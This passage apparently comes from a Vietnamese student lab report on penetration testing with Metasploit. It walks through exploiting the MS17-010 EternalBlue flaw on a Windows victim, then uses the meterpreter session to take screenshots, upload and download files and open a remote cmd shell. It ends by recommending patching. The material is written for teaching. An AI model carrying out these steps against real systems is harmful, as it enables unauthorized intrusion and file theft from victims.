  • 20. Hình 3.7. Phát hiện tồn tại lỗ hổng ms17-010  Tiến hành khai thác lỗ hổng Gõ lệnh use [đường dẫn module] : msf5> use exploit/windows/smb/ms17_010_eternalblue Gõ tiếp lệnh show options và show payloads để xem các thông tin và tuỳ chọn của nó. Hình 3.8. Xác định những options cần cấu hình Hãy chú ý vào Exploit target, lựa chọn nền tảng hệ điều hành của máy nạn nhân mà ta nhắm tới. Ở đây module này chỉ nhắm tới win7 và win server 2008, mặc định mã id target là 0. Nếu có nhiều lựa chọn target hơn, hãy set target [mã_id] để chọn nền tảng nhắm vào. Xem các giá trị ở cột Current Setting, ta sẽ biết thiếu hay cần thay đổi cái nào theo cú pháp set [tên_option] [giá_trị]. Như ở hình trên, thiếu giá trị cho RHOSTS, đó là địa chỉ IP của máy nạn nhân, hay ProcessName, tên tiến trình trên máy nạn nhân mà ta gài payload vào, ta có thể đổi tên khác cũng được, hay RPORT là port (cổng) mà ta muốn mở trên máy nạn nhân, ta có thể đổi cổng khác hoặc giữ mặc định. Lưu ý ở cột Required, giá trị Yes tức là bắt buộc phải có. 20
  • 21. Hình 3.9. Danh sách những payload của module exploit hiện tại  Cài đặt các thông số cần thiết LHOST: local host, là địa chỉ ip của máy hacker. LPORT: cổng để Metasploit lắng nghe tín hiệu gửi về. RHOST: remote host, là địa chỉ ip của máy nạn nhân. RPORT: mã độc sẽ phát tín hiệu qua cổng này trên máy nạn nhân (LPORT và RPORT không nhất thiết phải giống nhau). Sau khi đã cài đặt xong, ta gõ lệnh show options để kiểm tra lại 21
  • 22. Hình 3.10. Kiểm tra cấu hình đã cài đặt  Thực hiện tấn công Gõ lệnh exploit để thực hiện tấn công. Nếu sau khi gõ exploit mà vài giây sau hiện thông báo ConnectionTimeout có nghĩa là đã không thành công. Có thể máy nạn nhân không tồn tại lỗ hổng đó, hoặc do đặt các tham số chưa đúng. Nếu exploit thành công, bạn có thể can thiệp được vào máy nạn nhân với rất nhiều tuỳ chọn. Sử dụng help để xem danh sách các lệnh trong meterpreter có kèm theo mô tả ngắn. 22
  • 23. Hình 3.11. Thực hiện tấn công vào máy nạn nhân thành công Sau đó ta tiến hành kiểm tra sơ bộ thông tin về máy nạn nhân bằng lệnh sysinfo Hình 3.12. Thông tin cơ bản của máy nạn nhân 23
  • 24. Hình 3.13. Danh sách các tuỳ chọn tiến hành khai thác  Thực hiện chụp lại màn hình máy nạn nhân Sử dụng câu lệnh screenshot để chụp màn hình máy nạn nhân. Sau khi thực hiện xong, ảnh sẽ được lưu vào đường dẫn: /root/wJttDpZB.jpg 24
  • 25. Hình 3.14. Kết quả chụp lại màn hình máy nạn nhân  Thực hiện upload file lên máy nạn nhân Sử dụng câu lệnh Upload [options] src1 src2 src3 ... destination Hình 3.15. Kết quả upload file lên máy nạn nhân  Sử dụng lệnh shell để chạy cmd trên máy nạn nhân. Và dùng lệnh dir để xem danh sách file trên hệ thống máy nạn nhân 25
  • 26. Hình 3.16. Danh sách file hệ thống trên máy nạn nhân  Thực hiện download file xuống máy tấn công Sử dụng câu lệnh: download [options] src1 src2 src3 ... destination 26
  • 27. Hình 3.17. Kết quả download file xuống máy tấn công Như hình trên file download được lưu với đường dẫn /root//kma.jpg 27
  • 28. Hình 3.18. Kết quả download file xuống máy tấn công 28
  • 29. KẾT LUẬN Qua quá trình thực nghiệm ta có thể thấy Metasploit Framework đã thực hiện tốt các chức năng của nó: - Quét cổng để xác định các dịch vụ đang hoạt động trên server; - Xác định các lỗ hổng dựa trên phiên bản của hệ điều hành và phiên bản các phần mềm cài đặt trên hệ điều hành đó. - Thử nghiệm khai thác các lỗ hổng đã được xác định. Để tránh bị hacker tấn công vào máy tính, chúng ta cần thường xuyên cập nhật các bản vá lỗi của Microsoft. Hạn chế sử dụng các kết nối mạng ở nơi công cộng. 29
  • 30. TÀI LIỆU THAM KHẢO Giáo trình đánh giá và kiểm định an toàn hệ thống thông tin 2016, TS. Lương Thế Dũng, ThS. Phạm Minh Tuấn - Học viện Kỹ thuật Mật mã https://metasploit.help.rapid7.com/docs/quick-start-guide https://en.wikipedia.org/wiki/Metasploit_Project 30